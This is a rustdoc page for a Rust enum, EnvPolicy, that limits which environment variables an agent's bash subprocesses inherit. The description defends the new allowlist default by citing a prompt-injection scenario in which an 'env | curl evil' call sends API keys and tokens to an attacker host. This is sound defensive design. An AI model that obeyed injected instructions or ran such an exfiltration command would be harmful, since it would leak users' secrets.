pub enum EnvPolicy {
Inherit,
Allowlist(Vec<String>),
}Expand description
Controls which environment variables are visible to bash subprocesses.
BREAKING CHANGE (F-FS-2): the default is now Allowlist(DAEMON_ENV_ALLOWLIST).
Previously Inherit was the default — which passed all parent env vars
(including ANTHROPIC_API_KEY, AWS_*, GITHUB_TOKEN, etc.) into bash.
A single prompt-injection-driven env | curl evil call could exfiltrate
every secret. Use EnvPolicy::Inherit explicitly (and document why) if
you really want full inheritance.
Variants§
Inherit
Inherit ALL env vars from the parent process. Dangerous when the agent can spawn shells under prompt-injection control. Opt-in only.
Allowlist(Vec<String>)
Only pass explicitly allowlisted env vars. Default — populated with
DAEMON_ENV_ALLOWLIST which contains no secrets.
Trait Implementations§
Auto Trait Implementations§
impl Freeze for EnvPolicy
impl RefUnwindSafe for EnvPolicy
impl Send for EnvPolicy
impl Sync for EnvPolicy
impl Unpin for EnvPolicy
impl UnsafeUnpin for EnvPolicy
impl UnwindSafe for EnvPolicy
Blanket Implementations§
Source§impl<T> BorrowMut<T> for Twhere
T: ?Sized,
impl<T> BorrowMut<T> for Twhere
T: ?Sized,
Source§fn borrow_mut(&mut self) -> &mut T
fn borrow_mut(&mut self) -> &mut T
Mutably borrows from an owned value. Read more